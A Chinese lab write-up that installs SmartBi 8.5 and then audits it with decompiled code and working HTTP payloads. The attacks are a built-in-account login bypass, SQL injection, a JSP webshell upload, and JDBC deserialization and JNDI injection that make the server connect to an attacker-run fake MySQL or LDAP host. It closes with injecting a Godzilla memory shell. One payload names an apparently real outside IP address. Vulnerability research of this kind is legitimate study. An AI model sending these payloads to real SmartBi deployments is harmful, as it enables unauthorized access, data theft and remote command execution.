SmartBi-8.5搭建&&审计
SmartBi-8.5搭建
一、下载
通过网盘分享的文件:SmartBi-8.5环境.zip
链接: https://pan.baidu.com/s/1bFYYEI9-g84IeLG_HoZlxA 提取码: hqb4
二、安装

用户名和公司名称随意

更改安装目录

此处,不要选择“安装演示库”,否则会报“报表数量超过限制”的错误

不选择“注册为Windows服务”,内存大小默认即可

登录首页的密码
三、license获取
官网地址:https://www.smartbi.com.cn/
license申请地址:https://my.smartbi.com.cn/index/index/customerindex/form_id/3.html
这里第一次进入需要注册\登录:
之后便可以申请了,邮箱要填正确,之后会将 license 发到邮箱里
选择个人版
之后在邮箱里可以看到发的:Smartbi-License.xml
获取 licence 后,将其放置在 E:\Smartbi\Tomcat\bin 文件夹 下
四、创建数据库
首先连接 Smartbi :
创建 Smartbi 数据库:
第一步连接好之后,是没有 smartbi 数据库的,需要自己创建
下面是 MySQL 的配置: database-name 在选择安装“演示数据库”时是: smartbidemo ;咋们没有选择,所以默认是: smartbi
E:\Smartbi\Tomcat\bin\smartbi-config.xml
解决浏览器版本误判
这一步可以看下面问题中的 1、
五、启动程序
方法一:
E:\Smartbi\Tomcat\bin\startup.cmd
运行 startup.cmd ,启动服务器
方法二:
系统开始菜单中找到 Smartbi 的安装目录,单击启动Smartbi服务
没有报错的话,就是启动成功了, 若到这一步服务启动有错,重启电脑!!!
六、配置程序
访问Smartbi:首次访问,需输入密码,这里的密码随意,我的是 admin
接下来的配置按照图中所示即可:
七、进入主页
重启服务后,再次点击 访问Smartbi ,会进入下方页面:
http://localhost:18080/smartbi/vision/index.jsp
首次访问登录页:
此处的旧密码是 manager ,之后自行修改一个新密码:
这是之后访问登录页:登录系统:
至此,Smartbi v8.5 环境搭建完成。
所遇问题
(按照上述方法安装后应该 不会有下列问题):
1、浏览器版本被错误检测
参考:https://www.xiaoheiwoo.com/windows-11-internet-explorer/
方法一:
从“管理加载项”窗口打开 Internet Explorer
IE中是可以通过 Internet属性 窗口,对浏览器进行功能设置的。
虽然 Win11默认找不到 IE的入口,但是 Internet属性 程序依然可以正常运行,我们可以点击其中的 管 理加载项 功能,打开 IE 浏览器。
步骤:
首先,按 Win + R 打开运行窗口
接下来,在运行命令框中输入 inetcpl.cpl
单击 确定 进入 Internet 属性窗口
选择 程序 选项卡,点击 管理加载项 按钮
然后,点击窗口底部 了解有关工具栏和扩展的详细信息
铛铛铛,你要的 IE浏览器出现啦~
方法二:注释掉判断语句
进入 E:\Smartbi\Tomcat\webapps\smartbi\vision
找到文件 config.jsp
将判断部分注释掉
2、报表数量超过限制
报这个问题是由于安装时选择了安装 演示数据库 ,不安装即可。
3、配置完成后无法正确访问到登陆页面,一直重定向到配 置页
问题:
如图,知识库连接成功,license上传成功。重启后访问 http://localhost:18080/smartbi 仍然跳转到配 置页面 http://localhost:18080/smartbi/vision/config.jsp。
配置完成后再次登录,显示服务启动不成功:
数据库正常连接:
正常访问跳转的页面:
http://localhost:18080/smartbi/vision/index.jsp
http://localhost:18080/smartbi/vision
http://localhost:18080/smartbi
都会重定向到 http://localhost:18080/smartbi/vision/config.jsp
修改:
1
2
3
4
//var chromeVer = ua.substr(chrome + 7,2);
->
var match = ua.match(/chrome\/(\d+)/i);
var chromeVer = match ? parseInt(match[1]) : 0;能正确识别浏览器版本,但没什么用
smartbi审计:
介绍
SmartBI 是广州思迈特软件有限公司旗下的商业智能 BI 和数据分析品牌,是一款企业级大数据分析软件,能快速挖掘企业数据价值。集合数据可视化,探索性分析,自助式仪表盘以及一站式 ABI 平台,智慧数据运营平台,电子表格软件等等
分析
版本:SmartBi V8.5 JDK 8
传参方式(直接传输,RMIServlet加密)
RMIServlet加密、
先抓包,抓到的get,放行之后会出现post(smartbi程调用入口,是SmartBI 用自己的协议封装 HTTP 请求,把请求体加密后发给 RMIServlet)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.1.8:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 69
Origin: http://192.168.1.8:18080
Connection: keep-alive
Referer: http://192.168.1.8:18080/smartbi/vision/index.jsp
Cookie: JSESSIONID=FA004C807237DA15E8841C4E8D2C02BF
Priority: u=0
encode=zDp4Wp4gRip+iIpiGZp4DRw6+/JV/uuu71'f11fuu/u7uu/NOuu/NO1m/uu/JT追踪,RMIServlet加密的解密流程在 TraceFilter 的 doFilter ⽅法
(用 F12 → Network → 点击这个 RMIServlet 请求 → 在 Initiator 或 调用栈 里看哪个 JS 文件生成了
encode)Smartbi\Tomcat\bin\exts-smartbi\smartbiExtension4478727347500549277.tmp\META-INF\classes\smartbix\smartbi\filter\SmartbiXTraceFilter.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49public class SmartbiXTraceFilter extends TraceFilter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { boolean hasStartup = false; if (FreeQueryModule.getInstance() != null && FreeQueryModule.getInstance().getFramework() != null) { hasStartup = FreeQueryModule.getInstance().getFramework().isServerStartupSucceed(); } if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && hasStartup) { if (SessionLogService.getInstance().getMlogs().size() == 0 && SessionLogService.getInstance().getUlogs().size() == 0) { chain.doFilter(request, response); } else { boolean need2Log = true; HttpServletRequest httpRequest = (HttpServletRequest)request; httpRequest.setCharacterEncoding("UTF-8"); HttpSession session = httpRequest.getSession(false); if (session == null) { need2Log = false; } else { String className = httpRequest.getParameter("className"); String methodName = httpRequest.getParameter("methodName"); need2Log = this.checkNeedToLog(className, methodName); } if (!need2Log) { chain.doFilter(httpRequest, response); } else { RMILog rmiLog = new RMILog(); RequestLog requestLog = new RequestLog(); ResponseLog responseLog = new ResponseLog(); rmiLog.setRequest(requestLog); rmiLog.setResponse(responseLog); this.parseRequestInfo(httpRequest, requestLog); TraceFilter.WrapperedResponse wrapResponse = new TraceFilter.WrapperedResponse(this, (HttpServletResponse)response); long startTime = System.currentTimeMillis(); chain.doFilter(httpRequest, wrapResponse); long duration = System.currentTimeMillis() - startTime; requestLog.setStart(startTime); responseLog.setDuration(duration); this.parseResponseInfo(wrapResponse, responseLog); SessionLogService.getInstance().addRMILog(session.getId(), rmiLog); ServletOutputStream out = response.getOutputStream(); out.write(wrapResponse.getResponseData()); out.flush(); } } } else { chain.doFilter(request, response); } }根据映射表a进⾏解密,解密出来的字符串根据 空格/+ 来拆分为三个参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public static byte[] decode(String data) { char[] ibuf = new char[4]; int ibufcount = 0; byte[] obuf = new byte[data.length() / 4 * 3 + 3]; int obufcount = 0; for(int i = 0; i < data.length(); ++i) { char ch = data.charAt(i); if (ch == '=' || ch < S_DECODETABLE.length && S_DECODETABLE[ch] != 127) { ibuf[ibufcount++] = ch; if (ibufcount == ibuf.length) { ibufcount = 0; obufcount += decode0(ibuf, obuf, obufcount); } } } if (obufcount == obuf.length) { return obuf; } else { byte[] ret = new byte[obufcount]; System.arraycopy(obuf, 0, ret, 0, obufcount); return ret; } }
直接传输
1
2
3
4
5
6
7
8
9
10
11
12
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://127.0.0.1
Referer: http://127.0.0.1:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=D451AE905A8C9424DE83D2C921A73D4F
Connection: keep-alive
className=UserService&methodName=login¶ms=["admin","admin"]将RMIServlet解密后的三个字符串,分别传输到 classNam e 、 methodName 和 params 参数中
漏洞复现
内置用户登陆绕过
安装时会产生内置用户,以特定接口,绕过⽤户身份认证机制,进而获得身份凭证,随后可使⽤获取的身份凭证调⽤后台接⼝,可能导致敏感信息泄露和代码执行
1
2
3
4
5
6
7
8
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/60
5.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 68
className=UserService&methodName=loginFromDB¶ms=["service","0a"]解密得到的三个参数
payload:
结果返回true—————>直接利用set-cookie登录后台即可获取管理员权限

漏洞分析:
访问项目的web.xml,查看访问/vision/RMIServlet的过滤 (CheckIsLoggedFilter)

Smartbi\Tomcat\webapps\smartbi\WEB-INF\lib\smartbi-FreeQuery.jar!\smartbi\freequery\filter\CheckIsLoggedFilter.class

needToCheck ⽅法对传⼊的 类名和⽅法名 进⾏检查,判断是否需要进⾏登录 检查
查看needToCheck
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27private boolean needToCheck(String className, String methodName) { if (!StringUtil.isNullOrEmpty(className) && !className.equals("BIConfigService")) { if (className.equals("UserService") && StringUtil.isInArray(methodName, new String[]{"login", "loginFor", "clickLogin", "loginFromDB", "logout", "isLogged", "isLoginAs", "checkVersion", "hasLicense"})) { return false; } else if (className.equals("CompositeService") && StringUtil.isInArray(methodName, new String[]{"compositeLogin"})) { return false; } else if (className.equals("BusinessViewService") && StringUtil.isInArray(methodName, new String[]{"closeBusinessView"})) { return false; } else if (className.equals("DataSourceService") && StringUtil.isInArray(methodName, new String[]{"clearClientData"})) { return false; } else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getDefaultEncryptType"})) { return false; } else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getOAMSURL"})) { return false; } else if (className.equals("DPPortalService") && StringUtil.isInArray(methodName, new String[]{"removePageBO"})) { return false; } else if (methodName.equals("login")) { return false; } else if (className.equals("CommonService") && StringUtil.isInArray(methodName, new String[]{"log"})) { return false; } else { return !className.equals("FingerTipsDataModule"); } } else { return false; } }寻找调用三种参数的方式
RMIServlet 的 doPost ⽅法,接受传参,通过 processExecute ⽅法 进⾏反射调⽤⽅法
\Smartbi\Tomcat\webapps\smartbi\WEB-INF\lib\smartbi-FrameworkRMI.jar!\smartbi\framework\rmi\RMIServlet.class

跟近processExecute ⽅法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58public String processExecute(HttpServletRequest request, String className, String methodName, String params) { ClientService service = RMIModule.getInstance().getService(className);//会根据 className 来寻找对应的 ClinetService String resultStr = null; try { StringBuilder buff = (new StringBuilder()).append('{'); if (service == null) { if (className != null) { Locale locale = CommonConfiguration.getInstance().getLocale(); String notFoundClass = StringUtil.replaceLanguage("${Notfoundclass}", locale); throw (new SmartbiException(CommonErrorCode.UNKOWN_ERROR)).setDetail(className + " " + notFoundClass); } } else { long startTime = (new Date()).getTime(); Object obj = service.execute(methodName, new JSONArray(params)); long duration = (new Date()).getTime() - startTime; if (obj == null) { buff.append("\"retCode\":0"); } else if (!(obj instanceof Collection) && !obj.getClass().isArray()) { if (!(obj instanceof Boolean) && !(obj instanceof Number)) { if (obj instanceof String) { buff.append("\"retCode\":0,"); buff.append("\"result\":"); JSONUtils.quote(obj.toString(), buff); } else if (obj.getClass().isEnum()) { buff.append("\"retCode\":0,"); buff.append("\"result\":"); JSONUtils.quote(((Enum)obj).name(), buff); } else { buff.append("\"retCode\":0,"); buff.append("\"result\":"); JSONObject.fromBeanToString(obj, buff); } } else { buff.append("\"retCode\":0,"); buff.append("\"result\":"); buff.append(obj.toString()); } } else { buff.append("\"retCode\":0,"); buff.append("\"result\":"); JSONArray.fromObjectToString(obj, buff); } buff.append(",\"duration\":" + duration); } buff.append('}'); resultStr = buff.toString(); RMIModule.getInstance().doCommit(); } catch (Exception ce) { if (className != null && methodName != null) { resultStr = exceptionToString(className, methodName, ce); } } return resultStr; }到UserManagerModule 的 loginFromDB 的⽅法

SecurityServiceImpl 的 loginFromDB ⽅法对传⼊的账号密码进⾏判断,如果登录成 功返回true,即可返回管理员Cookie
(其中service:0a是smartBi的内置账号)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public boolean loginFromDB(String username, String password) { boolean loginSucceed = false; IConnectionInfo info = this.userManagerModule.getDaoModule().getRepository().getConnectionInfo(); Connection conn = null; PreparedStatement prep = null; ResultSet rs = null; try { conn = ConnectionPool.getInstance().getConnection(info); String sql = "select c_userpwd from t_user where c_username=?"; prep = conn.prepareStatement(sql); prep.setString(1, username); rs = prep.executeQuery(); if (rs.next()) { String pass = rs.getString("c_userpwd"); loginSucceed = pass != null && pass.equals(password); } rs.close(); prep.close(); } catch (Exception e) { log.error(StringUtil.getLanguageValue("Unabletoaccessdata") + ": ", e); } finally { this.closeDBObject(rs, prep, conn); }
sql
payload:(1)
发包,直接获取数据库名(报错注入)

漏洞分析:(1)
smartbi/vision/FileResource(从名称入手)
寻找FileResource相关的文件名称FileResourceServlet

从 doGet ⽅法中,利用request.getParameter(“resId”) 获取resId参数,拼接到sql语句执行(没有使⽤预编译处理)
在web.xml查看相关路径的代码
1
2
3
4
5
6
7
8<servlet> <servlet-name>FileResource</servlet-name> <servlet-class>smartbi.freequery.fileresource.FileResourceServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>FileResource</servlet-name> <url-pattern>/vision/FileResource</url-pattern> </servlet-mapping>执⾏sql语句报错后,会将报错信息返回给客户端并弹窗提示,因此我们可以通过报错来进⾏注⼊

payload:(2)
1
2
3
4
5
6
7
8
9
10
POST /smartbi/vision/RMIServlet HTTP/1.1
Host:127.0.0.1:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/60
5.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Cookie: JSESSIONID=66D3B217CBE76A3BB32C771E6EB6429C
Content-Length: 99
className=UrlLinkService&methodName=getFileResource¶ms=["1'union selec
t database(),2,3,4,5,6#"]抓包,使用union联合注入(有回显)(报错,盲注)
漏洞分析:(2)
FileResourceDAO 中 getFileResource ⽅法中,这⾥我们看到 id参数为String类型,并且直接拼接到sql语句中并执⾏

跟近getFileResource,在 URLLinkService 的 getFileResource被调用
1
2
3public FileResource getFileResource(String fileResourceID) { return FileResourceDAO.getInstance().getFileResource(fileResourceID); }
存在 URLLinkService类,这代表我们可以通过反射调⽤该⽅法的任意类,同时参数可控
文件上传
payload:
这是一个后台漏洞,需要登录获取⽤户Cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /smartbi/vision/designer/imageimport.jsp HTTP/1.1 Host: 127.0.0.1:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100 101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-File-Type: image X-File-Name: 1.jsp Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------292 7288396864 Content-Length: 16 Cookie: FQPassword=; JSESSIONID=AE628E59E970577DD994954A693517C8 <%="CurlySean"%>访问/smartbi/vision/designer/image/1.jsp
发现出现CurlySean
漏洞分析:
smartbi/vision/designer/imageimport.jsp ⽂件
Smartbi\Tomcat\webapps\smartbi\vision\designer\imageimport.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36<%@ page import="java.io.*"%> <% try { String path = request.getSession().getServletContext().getRealPath("") + "/vision/designer/images/"; File dir = new File(path); if (!dir.exists()) { dir.mkdirs(); } String fileName = new String(request.getHeader("X-File-Name").getBytes("ISO-8859-1"), "UTF-8"); String fileType = request.getHeader("X-File-Type"); if(fileType.indexOf("image") == -1) { response.setContentType("text/html; charset=UTF-8"); response.resetBuffer(); response.getOutputStream().write("error file type!".getBytes("UTF-8")); return; } File file = new File(path + fileName); FileOutputStream fos = new FileOutputStream(file); int bytesRead; byte[] buf = new byte[1024]; // 4K buffer while ((bytesRead = request.getInputStream().read(buf)) != -1) { fos.write(buf, 0, bytesRead); } fos.flush(); fos.close(); smartbi.net.sf.json.JSONObject jobj = new smartbi.net.sf.json.JSONObject(); jobj.put("url", path.substring(path.lastIndexOf("images/")) + "/" + fileName); //jobj.put("dir", dir.getCanonicalPath()); String resultStr = jobj.toString(); response.setContentType("text/html; charset=UTF-8"); response.resetBuffer(); response.getOutputStream().write(resultStr.getBytes("UTF-8")); } catch (Exception e) { e.printStackTrace(); } %>通过拼接获取⽂件上传的路径,没有则创建
从请求头重获取 X-File-Name 作为⽂件名,判断 X-File-Type 是否以 image 开头,不是则 报错
从请求体中读取输⼊流,写⼊⽂件中
(对⽂件的后缀和内容没有任何过滤,直接上传Jsp⽂件即可)
SmartBi-JDBC反序列化
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.1.8:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 69
Origin: http://192.168.1.8:18080
Connection: keep-alive
Referer: http://192.168.1.8:18080/smartbi/vision/index.jsp
Cookie: JSESSIONID=E5045F082547A15B8646D2E018EB591A
Priority: u=0
className=DataSourceService&methodName=testConnection¶ms=[{"password"%
3a"","maxConnection"%3a100,"user"%3a"","driverType"%3a"MYSQL","validationQ
uery"%3a"SELECT+1+FROM+DUAL","url"%3a"jdbc%3amysql%3a//xxxx.xxx.xxx.xxx%3a
3308/d9f8b01%3fautoDeserialize%3dtrue%26statementInterceptors%3dcom.mysql.
jdbc.interceptors.ServerStatusDiffInterceptor","name"%3a"JDBC","driver"%3
a"com.mysql.jdbc.Driver","id"%3a"","desc"%3a"","alias"%3a"","dbCharset"%3
a"","identifierQuoteString"%3a"`","transactionIsolation"%3a-1,"validationQ
ueryMethod"%3a0,"dbToCharset"%3a"","authenticationType"%3a"STATIC"}]弹出计算器
首先搭建在公⽹VPS上搭建FakeMysql服务器
发送数据包后,我们的smartBi服务器尝试连接fakeMysql服务器,通过反序列化即可成功执⾏命令

漏洞分析:
通过查找SmartBi的Jar包,发现 mysql-connector-java 的依赖版本为5.1.44,是存在JDBC反序列 化漏洞的版本

需要找到⼀个发序列化链
pom.xml中,发现 common-collections 依赖,版本 3.2.1 ,存在CC反序列化

配置payload时,配置K1链⼦,⽣成payload即可

漏洞产⽣点在 DataSourceService 中的 testConnection 中
1
2
3public void testConnection(IDataSource dataSource) { MetaDataServiceImpl.getInstance().testConnection(dataSource); }正常调⽤会⾛到 MetaDataServiceImpl 的 testConnection 中,执⾏该语句,服务器就会向远 程FakeMysql尝试连接,就会接收到FakeMysql返回的恶意序列化数据,在反序列化过程中,就会触发我 们所构造的payload

要调⽤ DataSourceService 的 testConnection ⽅法,我们可以通过 /vision/RMIServle t 的反射调⽤某类的某⽅法进⾏调⽤,构造payload如下(在POST数据包中,需要进⾏⼀次URL编码, 否则会报错)
在进⾏⽅法调⽤时,会将我们传⼊的字符串类型参数 params ,转换成⼀个JsonArray类型的参数

步⼊ execute ⽅法中,以下部分代码,可以将JSON对象转化成Object对象

然后将var5对象传⼊ testConnection ⽅法中
1
2
3
public void testConnection(IDataSource dataSource) {
MetaDataServiceImpl.getInstance().testConnection(dataSource);
}再进⼀步,会将dataSource中存储的信息⼀⼀拿出,⽤于后续的数据源连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void testConnection(IDataSource dataSource) {
DataSource ds = new DataSource();
ds.setId(UUIDGenerator.generate());
ds.setName(dataSource.getName());
ds.setAlias(dataSource.getAlias());
ds.setDriver(dataSource.getDriver());
ds.setDesc(dataSource.getDesc());
ds.setDbCharset(dataSource.getDbCharset());
ds.setUrl(dataSource.getUrl());
ds.setUser(dataSource.getUser());
ds.setDriverType(dataSource.getDriverType());
ds.setMaxConnection(dataSource.getMaxConnection());
ds.setValidationQuery(dataSource.getValidationQuery());
ds.setPassword(dataSource.getPassword());
ds.setTransactionIsolation(dataSource.getTransactionIsolation());
ds.setValidationQueryMethod(dataSource.getValidationQueryMethod());
ds.setAuthenticationType(dataSource.getAuthenticationType());
if (dataSource.getPassword() == null && !StringUtil.isNullOrEmpty(dataSource.getId())) {
DataSource dbDs = FreeQueryDAOFactory.getDataSourceDAO().load(dataSource.getId());
ds.setPassword(dbDs.getPassword());
}内存马:
配置好⼯具类型、中间件、内存⻢类型、密码等信息,点击⽣成class⽂件

使⽤javaChains⼯具进⾏注⼊,选择⾃定义字节码,将我们⽣成的class⽂件上传上去

⽤我们的Poc将内存⻢注⼊进去

配置哥斯拉密码密钥信息,同时设置请求配置(与内存⻢设置请求头⼀样)
可以看到成功连接并执⾏命令

SmartBi-JNDI注⼊
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.1.8:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 483
Origin: http://192.168.1.8:18080
Connection: keep-alive
Referer: http://192.168.1.8:18080/smartbi/vision/index.jsp
Cookie: JSESSIONID=E5045F082547A15B8646D2E018EB591A
Priority: u=0
className=DataSourceService&methodName=testConnection¶ms=[{"password"%
3a"","maxConnection"%3a100,"user"%3a"","driverType"%3a"MYSQL","validationQ
uery"%3a"SELECT+1+FROM+DUAL","url"%3a"JNDI:ldap://xxxx.xxx.xxx.xxx:50389/0
7e967","name"%3a"JDBC","driver"%3a"com.mysql.jdbc.Driver","id"%3a"","des
c"%3a"","alias"%3a"","dbCharset"%3a"","identifierQuoteString"%3a"`","trans
actionIsolation"%3a-1,"validationQueryMethod"%3a0,"dbToCharset"%3a"","auth
enticationType"%3a"STATIC"}]使⽤JavaChains⽣成Payload

发送数据包成功执⾏命令,弹出计算器
漏洞分析:
漏洞点同上

⾛⼊ ConnectionPool 的 getConnection ⽅法⾥,有这么⼀个判断,如果获取的URL是以 JDN I: 开头,就会将 JNDI: 截取,对剩下的部分调⽤ lookup()

⽣成payload JNDI:ldap://xxxx.xxx.xxx.xxx:50389/07e967
内存马:
内存⻢可以使⽤JavaChains进⾏注⼊,选择调⽤Jmg⽣成注⼊内存⻢
(配置内存⻢的⼯具种类、内存⻢类型、中间件类型等等,然后点击⽣成)

发送Payload进⾏注⼊内存⻢

打开哥斯拉,配置⽬标信息

记住根据配置的请求头,在哥斯拉中设置请求配置


可以看到内存⻢注⼊成功,可以连接并进⾏命令执⾏

前台JDBC反序列化
payload:
1
2
3
4
5
6
7
8
9
POST /smartbi/vision/SyncServlet HTTP/1.1
Host:127.0.0.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 139
type=sqldictsync&dbNameOnly=false&dbType=MYSQL&dbServer=xxx.xxx.xxx.xxx:330
8&dbName=dec03db?detectCustomCollations=true%26autoDeserialize=yes通过JavaChains起⼀个fakeMysql服务器,发送Poc让smartBi服务器连接fakeMysql,即可触发反序列 化漏洞
直接弹出计算器
漏洞分析:
查看web.xml⽂件, SyncServlet 配置到了 /vision/SyncServlet 路径下,且经过查看,并没 有配置检查是否登录的过滤器,因此访问该路径不需要登录
1
2
3
4
5
6
7
8servlet> <servlet-name>SyncServlet</servlet-name> <servlet-class>smartbi.freequery.sync.SyncServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>SyncServlet</servlet-name> <url-pattern>/vision/SyncServlet</url-pattern> </servlet-mapping>在 SyncServlet 的 doPost ⽅法中, (new SyncResources()).synchronize(type, dbSe rver, clientId, dbUser, fieldName, querySql) 中将接受的参数传⼊ synchronize 中

跟进synchronize
1
2
3
4
5
6
7
8
9
10
11public String synchronize(String dbType, String dbServer, String dbName, String dbUser, String dbPass, String querySql) throws Exception { Connection conn = DbUtil.getConnection(dbType, dbServer, dbName, dbUser, dbPass, (String)null); //跟进 if (conn == null) { throw new IllegalArgumentException(StringUtil.getLanguageValue("Incomingconnectionparametererrorestablishconnectionfailed")); } else { int colsCount = 8; Reader reader = new ResultSetReader(conn, querySql, colsCount); DictTree tree = new DictTree(reader); return this.doSynchronize(tree); } }跟进 DbUtil.getConnection(…) 中
主要有以下三个部分 :
检查是否⽀持 dbType 类型的数据库连接
根据传⼊参数,拼接数据库连接源
配置信息,进⾏连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24public static Connection getConnection(String dbType, String dbServer, String dbName, String dbUser, String dbPass, String connName) throws Exception { DBType driverType = null; try { driverType = DBType.valueOf(dbType.toUpperCase());//判断dbType手机都在数据库类型表中 } catch (Exception var9) { return null; } String[] drvInfo = translateDriverInfo(driverType, dbServer, dbName);//通过传入的参数进行url拼接 if (drvInfo == null) { return null; } else { DefaultConnectionInfo info = new DefaultConnectionInfo(); info.setId(UUIDGenerator.generate()); info.setName(connName); info.setDriverType(driverType); info.setDriver(drvInfo[0]); info.setUrl(drvInfo[1]); info.setUser(dbUser); info.setPassword(dbPass); return ConnectionPool.getInstance().getConnection(info); }//配置数据库连接信息,并且进行连接 }最重要的部分在第⼆块,拼接恶意的数据库连接源
serverName设置为我们的fakemysql服务器,dbName根据mysql-connection的版本进⾏配置(这⾥为 5.1.44版本)
1
2jdbc:mysql://xxx.xxx.xxx.xxx:3306/jdbcdec03db?detectCustomCollations=true%2 6autoDeserialize=yes
根据doPost⽅法中接受参数名,构造poc即可(注意&需要进⾏URL编码)
1
2type=sqldictsync&dbNameOnly=false&dbType=MYSQL&dbServer=101.36.122.13:3308& dbName=dec03db?detectCustomCollations=true%26autoDeserialize=yes